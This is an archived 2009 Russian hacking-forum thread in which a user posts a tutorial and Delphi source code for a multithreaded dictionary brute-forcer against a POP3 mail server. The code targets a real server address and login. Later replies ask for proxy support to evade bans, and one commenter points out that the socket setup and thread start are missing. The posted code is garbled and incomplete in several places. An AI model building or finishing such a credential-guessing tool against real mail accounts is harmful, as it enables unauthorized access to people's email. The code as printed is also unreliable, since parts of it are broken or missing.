PDA

Просмотр полной версии : Брутфорс на Delphi


***xaknem***
12.01.2009, 10:54
Рассмотрим написание брутфорса на Delphi, с использованием функций WinAPI для работы с сокетом. Переписать на перл, си или асм потом проблем нет никаких - оно все отличается только синтаксисом вызова функций. Также потребуется какой-нибудь telnet-клиент, port-mapper или tcp-logger для исследования ответов сервера.
POP3. 110 порт. Интересующие нас команды - "user" и "pass". Предположим, что надо подобрать пароль на freemail.ukr.net у пользователя dndanil (это мой - специально для экспериментов). Ломанемся по телнету на freemail.ukr.net:110 и введем "user dndanil". Потом "pass password". Посмотрим ответы. Если после оценки скорости желание не отпало, то надо написать прогу, которая будет коннектится к серваку и перебирать пароли с отслеживанием ошибок. Прогу будем писать с учетом продвинутых технологий при создании различных сканеров - многопоточность, т.е. перебирать пароли будут сразу несколько процессов. Так, вроде, быстрей. Для этого надо ввести класс, описывающий наш процесс. Кол-во одновременно запущенных процессов зависит от железа и скорости соединения с инетом. Для перебора будем использовать файл с паролями, который загрузим в TStringList (список строк). Итак, создадим для наглядности окно и влепим туда кнопку "Hack it" :-) и ProgressBar с Win32. Вот исходники с комментариями брутфорсера для POP3-сервера:

unit Unit1;

interface

uses
Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
ComCtrls, StdCtrls, WinSock;

type
TForm1 = class(TForm)
Button1: TButton;
ProgressBar1: TProgressBar;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;

// Описание процесса
type
TScan = class(TThread)
sock2 : TSocket;
addr:TSockAddrIn;
WSAData : TWSAData;
private
procedure CScan;
protected
procedure Execute; override;
end;

var
Form1: TForm1;
// Массив процессов
Sock : array[1..255] of TScan;
Rez : boolean = false;
// Кол-во запущенных процессов на данный момент
I0 : Integer;
// Номер текущего пароля
I : Integer;
// TStringList с паролями
PassList : TStringList;

const
FilePass = 'pass.txt'; // Файл с паролями в каталоге проги
ProcCount = 10; // кол-во процессов
POP3serv = '212.42.64.13'; // POP3 server (отпингованый)
User = 'dndanil';

implementation
{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
begin
PassList:=TStringList.Create;
end;

// Запуск / Остановка
procedure TForm1.Button1Click(Sender: TObject);
begin
if Rez then
Rez:=false
else
begin
// Открытие и загрузка файла паролей
try
PassList.Clear;
PassList.LoadFromFile(FilePass);
except
end;
if PassList.CountProcCount)or(not Rez) then
break;
end;
end;
end;

// Проца инициализации процесса
procedure TScan.Execute;
begin
try
// Запуск цикла
while true do
begin
CScan;
//Выход, если подобрали или закончился словарь
if (not Rez)or(I>=PassList.Count) then
break;
end;
except
end;
dec(I0);
try
Terminate;
except
end;
//Если все процессы прерваны -
if I00 then
begin
try
closesocket(sock2);
except
end;
exit;
end;
//Получение при соединении
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]'+') then
exit;
//"user user"
sender('user '+User+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
if (x=SOCKET_ERROR)or(buf[1]'+') then
exit;
//"pass password"
sender('pass '+PassList.Strings[I2]+#13+#10);
x:=recv(sock2,buf,sizeof(Buf),0);
//Если подобралось
if (x>3)and(buf[1]='+') then
begin
Rez:=false;
Application.MessageBox(PChar('Pass = '+PassList.Strings[I2]),'ENJOY',mb_Ok);
exit;
end;
try
closesocket(sock2);
except
end;
except
end;
end;

end.

bombeg
12.01.2009, 11:20
перепиши на асм, пожалуйста. хочу посмотреть и взять что-нибудь на заметку!

neprovad
12.01.2009, 11:24
терминология хромает, "отпингованый", процессы равнозначные потокам..

neprovad
12.01.2009, 11:25
перепиши на асм, пожалуйста. хочу посмотреть и взять что-нибудь на заметку!
вам корона голову не жмет? ТС и так постарался как смог.

***xaknem***
12.01.2009, 11:53
bombeg,извини конечно,но переписывать я не буду,кому действительно нужно,может сам переписать...Удачи!

Sn@k3
12.01.2009, 11:57
терминология хромает, "отпингованый", процессы равнозначные потокам..

умный такой?????? ну напиши сам, блин бесит придерается к херне, напиши сам что ты?

preda1or
12.01.2009, 12:26
Хотя бы отформатировал нормально и код и статью, было бы намного лучше)

bombeg
12.01.2009, 12:28
умный такой?????? ну напиши сам, блин бесит придерается к херне, напиши сам что ты?
есть информация ценная, есть информация ради букв.

neprovad
12.01.2009, 12:47
умный такой?????? ну напиши сам, блин бесит придерается к херне, напиши сам что ты?
во-первых, это не херня а информация, на написание которой которой ТС потратил какое-то время.
во-вторых, это форум и каждый волен излагать свои мысли как ему нравится, что я и сделал.
p.s. если тебя бесит - успокойся, выпей валерьянки

_nic
12.01.2009, 15:36
Вообще то если так тупо ломится с неподходящими логинами/пассами.То на любом уважающем себя мыльном сервисе айпишник с которого это происходит весьма быстро уйдет в бан.

WON
12.01.2009, 22:38
***xaknem***, а можешь дописать работу с прокси... Потому что код у тебя понятный, думаю если ты допишешь ничего не измениться... А то все примеры что я находил очень сложные...

_nic
13.01.2009, 10:41
***xaknem***, а можешь дописать работу с прокси... Потому что код у тебя понятный, думаю если ты допишешь ничего не измениться... А то все примеры что я находил очень сложные...
Это будет не так то просто,брут то организован на прямую через винапи сокеты,а не инди например.

De-visible
13.01.2009, 11:09
bombeg, а смысл переписывать его на асм?

MongBa†
15.01.2009, 01:19
И вправду, зачем? здесь и на Делфи переписывать и дописывать )
Старт потоков попросту отсутствует..
for I0:=1 to ProcCount do Sock[I0]:=TScan.Create(false);
Где WSAStartup и WSAStartup ВинСокета?
сокет не определен, значения хоста и порта не присвоены, и он не конектит :-\
sock:=Socket(AF_INET,SOCK_STREAM,0);
addr.sin_family:=AF_INET;
addr.sin_port:=htons(110);
addr.sin_addr.S_addr:=inet_addr(PChar(POP3serv));
if Connect(sock,Addr,Sizeof(addr))=SOCKET_ERROR then
begin
//понесся первый recv

ИМХО Если уже браться писать, то хотя бы что-то работоспособное, а так, тема просто для накрутки постов и репы.. :)